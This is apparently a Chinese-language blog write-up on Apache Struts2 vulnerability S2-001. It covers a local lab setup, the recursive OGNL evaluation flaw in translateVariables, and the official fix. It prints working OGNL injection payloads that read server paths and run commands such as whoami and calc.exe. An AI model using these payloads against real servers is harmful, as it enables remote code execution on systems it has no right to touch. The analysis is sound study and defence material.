• S2-001漏洞分析


    前言

    开始好好学Java,跟着师傅们的文章走一遍

    Strust简介

    Struts2是流行和成熟的基于MVC设计模式的Web应用程序框架。 Struts2不只是Struts1下一个版本,它是一个完全重写的Struts架构。

    工作流程:

    漏洞复现

    漏洞简介

    漏洞详情:
    https://cwiki.apache.org/confluence/display/WW/S2-001

    由于OGNL表达式的递归执行,造成了命令执行

    环境搭建

    mac下直接brew install tomcat
    catalina run启动tomcat
    brew services start tomcat后台启动服务

    • Apache Tomcat/8.5.53
    • IntelliJ IDEA

    建好后从http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip中下载struts2的jar包
    导入项目所需的包File->Project Structure

    然后搭建环境,项目结构如图

    src下新建struts.xml

    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE struts PUBLIC
            "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
            "http://struts.apache.org/dtds/struts-2.0.dtd">
    <struts>
        <package name="S2-001" extends="struts-default">
            <action name="login" class="com.demo.action.LoginAction">
                <result name="success">welcome.jsp</result>
                <result name="error">index.jsp</result>
            </action>
        </package>
    </struts>
    

    修改web.xml

    <?xml version="1.0" encoding="UTF-8"?>
    <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">
        <display-name>S2-001 Example</display-name>
        <filter>
            <filter-name>struts2</filter-name>
            <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
        </filter>
        <filter-mapping>
            <filter-name>struts2</filter-name>
            <url-pattern>/*</url-pattern>
        </filter-mapping>
        <welcome-file-list>
            <welcome-file>index.jsp</welcome-file>
        </welcome-file-list>
    </web-app>
    

    index.jsp

    <%--
      Created by IntelliJ IDEA.
      User: twosmi1e
      Date: 2020/11/19
      Time: 2:25 下午
      To change this template use File | Settings | File Templates.
    --%>
    <%@ page language="java" contentType="text/html; charset=UTF-8"
             pageEncoding="UTF-8"%>
    <%@ taglib prefix="s" uri="/struts-tags" %>
    <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
    <html>
    <head>
      <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
      <title>S2-001</title>
    </head>
    <body>
    <h2>S2-001 Demo</h2>
    <p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
    <s:form action="login">
      <s:textfield name="username" label="username" />
      <s:textfield name="password" label="password" />
      <s:submit></s:submit>
    </s:form>
    </body>
    </html>
    

    welcome.jsp

    <%--
      Created by IntelliJ IDEA.
      User: twosmi1e
      Date: 2020/11/19
      Time: 3:09 下午
      To change this template use File | Settings | File Templates.
    --%>
    <%@ page language="java" contentType="text/html; charset=UTF-8"
             pageEncoding="UTF-8"%>
    <%@ taglib prefix="s" uri="/struts-tags" %>
    <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
    <html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>S2-001</title>
    </head>
    <body>
    <p>Hello <s:property value="username"></s:property></p>
    </body>
    </html>
    

    在src下新建名为com.demo.action的package
    LoginAction.java

    package com.demo.action;
    
    import com.opensymphony.xwork2.ActionSupport;
    
    public class LoginAction extends ActionSupport {
        private String username = null;
        private String password = null;
    
        public String getUsername() {
            return this.username;
        }
    
        public String getPassword() {
            return this.password;
        }
    
        public void setUsername(String username) {
            this.username = username;
        }
    
        public void setPassword(String password) {
            this.password = password;
        }
    
        public String execute() throws Exception {
            if ((this.username.isEmpty()) || (this.password.isEmpty())) {
                return "error";
            }
            if ((this.username.equalsIgnoreCase("admin"))
                    && (this.password.equals("admin"))) {
                return "success";
            }
            return "error";
        }
    }
    

    然后点击Build->Build Project
    配置好tomcat,
    homebrew安装的tomcat home:/usr/local/Cellar/tomcat/9.0.33/libexec

    run起来会看到如下画面

    漏洞利用

    点击submit后 ognl表达式会解析执行 返回2

    获取tomcat路径

    %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
    

    获取web路径

    %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
    

    命令执行

    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
    

    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
    

    OGNL表达式

    OGNL是Object Graphic Navigation Language(对象图导航语言)的缩写,它是一种功能强大的表达式语言,使用它可以存取对象的任意属性,调用对象的方法,使用OGNL表达式的主要作用是简化访问对象中的属性值,Struts 2的标签中使用的就是OGNL表达式。

    OGNL三要素

    • 表达式(expression):表达式是整个OGNL的核心,通过表达式来告诉OGNL需要执行什么操作;
    • 根对象(root):root可以理解为OGNL的操作对象,OGNL可以对root进行取值或写值等操作,表达式规定了“做什么”,而根对象则规定了“对谁操作”。实际上根对象所在的环境就是 OGNL 的上下文对象环境;
    • 上下文对象(context):context可以理解为对象运行的上下文环境,context以MAP的结构、利用键值对关系来描述对象中的属性以及值;

    表达式功能操作清单:

    1. 基本对象树的访问
      对象树的访问就是通过使用点号将对象的引用串联起来进行。
      例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx
    1. 对容器变量的访问
      对容器变量的访问,通过#符号加上表达式进行。
      例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx
    1. 使用操作符号
      OGNL表达式中能使用的操作符基本跟Java里的操作符一样,除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外,还能使用 mod, in, not in等。
    1. 容器、数组、对象
      OGNL支持对数组和ArrayList等容器的顺序访问:例如:group.users[0]
      同时,OGNL支持对Map的按键值查找:
      例如:#session['mySessionPropKey']
      不仅如此,OGNL还支持容器的构造的表达式:
      例如:{"green", "red", "blue"}构造一个List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map
      你也可以通过任意类对象的构造函数进行对象新建
      例如:new Java.net.URL("xxxxxx/")
    1. 对静态方法或变量的访问
      要引用类的静态方法和字段,他们的表达方式是一样的@class@member或者@class@method(args):
    1. 方法调用
      直接通过类似Java的方法调用方式进行,你甚至可以传递参数:
      例如:user.getName(),group.users.size(),group.containsUser(#requestUser)
    1. 投影和选择
      OGNL支持类似数据库中的投影(projection) 和选择(selection)。
      投影就是选出集合中每个元素的相同属性组成新的集合,类似于关系数据库的字段操作。投影操作语法为 collection.{XXX},其中XXX 是这个集合中每个元素的公共属性。
      例如:group.userList.{username}将获得某个group中的所有user的name的列表。
      选择就是过滤满足selection 条件的集合元素,类似于关系数据库的纪录操作。选择操作的语法为:collection.{X YYY},其中X 是一个选择操作符,后面则是选择用的逻辑表达式。而选择操作符有三种:
      ? 选择满足条件的所有元素
      ^ 选择满足条件的第一个元素
      $ 选择满足条件的最后一个元素
      例如:group.userList.{? #txxx.xxx != null}将获得某个group中user的name不为空的user的列表。

    表达式注入总结By mi1k7ea.

    漏洞分析

    由上图工作流程我们可以看到,当一个 HTTP 请求被 Struts2 处理时,会经过一系列的 拦截器(Interceptor) ,这些拦截器可以是 Struts2 自带的,也可以是用户自定义的。例如下图 struts.xml 中的 package 继承自 struts-default ,而 struts-default 就使用了 Struts2 自带的拦截器。

    找到默认使用的拦截器栈

    在拦截器栈 defaultStack 中,我们需要关注 params 这个拦截器。其中, params拦截器 会将客户端请求数据设置到 值栈(valueStack) 中,后续 JSP 页面中所有的动态数据都将从值栈中取出。

    在经过一系列的拦截器处理后,数据会成功进入实际业务 Action 。程序会根据 Action 处理的结果,选择对应的 JSP 视图进行展示,并对视图中的 Struts2 标签进行处理。如下图,在本例中 Action 处理用户登录失败时会返回 error 。

    然后到/com/opensymphony/xwork2/DefaultActionInvocation.class:253

    继续跟,主要问题在translateVariables这个函数里

    /**
      * Converted object from variable translation.
      *
      * @param open
      * @param expression
      * @param stack
      * @param asType
      * @param evaluator
      * @return Converted object from variable translation.
      */
     public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
         // deal with the "pure" expressions first!
         //expression = expression.trim();
         Object result = expression;
    
         while (true) {
             int start = expression.indexOf(open + "{");
             int length = expression.length();
             int x = start + 2;
             int end;
             char c;
             int count = 1;
             while (start != -1 && x < length && count != 0) {
                 c = expression.charAt(x++);
                 if (c == '{') {
                     count++;
                 } else if (c == '}') {
                     count--;
                 }
             }
             end = x - 1;
    
             if ((start != -1) && (end != -1) && (count == 0)) {
                 String var = expression.substring(start + 2, end);
    
                 Object o = stack.findValue(var, asType);
                 if (evaluator != null) {
                 	o = evaluator.evaluate(o);
                 }
                 
    
                 String left = expression.substring(0, start);
                 String right = expression.substring(end + 1);
                 if (o != null) {
                     if (TextUtils.stringSet(left)) {
                         result = left + o;
                     } else {
                         result = o;
                     }
    
                     if (TextUtils.stringSet(right)) {
                         result = result + right;
                     }
    
                     expression = left + o + right;
                 } else {
                     // the variable doesn't exist, so don't display anything
                     result = left + right;
                     expression = left + right;
                 }
             } else {
                 break;
             }
         }
    
         return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
     }
    

    第一次执行的时候 会取出%{username}的值,即%{1+1}
    通过if ((start != -1) && (end != -1) && (count == 0))的判断,跳过return

    通过Object o = stack.findValue(var, asType);把值赋给o

    然后赋值给expression,进行下一次循环

    第二次循环会执行我们构造的OGNL表达式
    可以看到执行后结果为2

    然后再次循环,经过if判断过后return

    后面经过处理后返回index.jsp

    漏洞成因呢就是在translateVariables函数中递归来验证OGNL表达式,造成了OGNL表达式的执行

    漏洞修复

    官方修复代码

    public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {
        // deal with the "pure" expressions first!
        //expression = expression.trim();
        Object result = expression;
        int loopCount = 1;
        int pos = 0;
        while (true) {
    
            int start = expression.indexOf(open + "{", pos);
            if (start == -1) {
                pos = 0;
                loopCount++;
                start = expression.indexOf(open + "{");
            }
            if (loopCount > maxLoopCount) {
                // translateVariables prevent infinite loop / expression recursive evaluation
                break;
            }
            int length = expression.length();
            int x = start + 2;
            int end;
            char c;
            int count = 1;
            while (start != -1 && x < length && count != 0) {
                c = expression.charAt(x++);
                if (c == '{') {
                    count++;
                } else if (c == '}') {
                    count--;
                }
            }
            end = x - 1;
    
            if ((start != -1) && (end != -1) && (count == 0)) {
                String var = expression.substring(start + 2, end);
    
                Object o = stack.findValue(var, asType);
                if (evaluator != null) {
                    o = evaluator.evaluate(o);
                }
    
    
                String left = expression.substring(0, start);
                String right = expression.substring(end + 1);
                String middle = null;
                if (o != null) {
                    middle = o.toString();
                    if (!TextUtils.stringSet(left)) {
                        result = o;
                    } else {
                        result = left + middle;
                    }
    
                    if (TextUtils.stringSet(right)) {
                        result = result + right;
                    }
    
                    expression = left + middle + right;
                } else {
                    // the variable doesn't exist, so don't display anything
                    result = left + right;
                    expression = left + right;
                }
                pos = (left != null && left.length() > 0 ? left.length() - 1: 0) +
                      (middle != null && middle.length() > 0 ? middle.length() - 1: 0) +
                      1;
                pos = Math.max(pos, 1);
            } else {
                break;
            }
        }
    
        return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
    }
    

    可以看到增加了对OGNL递归解析次数的判断,默认情况下只会解析第一层

    if (loopCount > maxLoopCount) {
        // translateVariables prevent infinite loop / expression recursive evaluation
        break;
    }
    

    总结

    入门找了S2-001跟着师傅们的文章学习了一下,原理还是很简单,就是调试java过程很费时间。
    最后弹个计算器收尾吧,(不知道为什么mac上弹/System/Application/Calculator.app没弹成功

    %{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc.exe"})).start()}
    

    参考

    https://mochazz.github.io/2020/06/16/Java代码审计之Struts2-001/#漏洞分析
    https://xz.aliyun.com/t/2672
    https://xz.aliyun.com/t/2044

  • 相关阅读:
    Hdu 5396 Expression (区间Dp)
    Lightoj 1174
    codeforces 570 D. Tree Requests (dfs)
    codeforces 570 E. Pig and Palindromes (DP)
    Hdu 5385 The path
    Hdu 5384 Danganronpa (AC自动机模板)
    Hdu 5372 Segment Game (树状数组)
    Hdu 5379 Mahjong tree (dfs + 组合数)
    Hdu 5371 Hotaru's problem (manacher+枚举)
    Face The Right Way---hdu3276(开关问题)
  • 原文地址:https://www.cnblogs.com/twosmi1e/p/14020361.html
Copyright © 2020-2023  润新知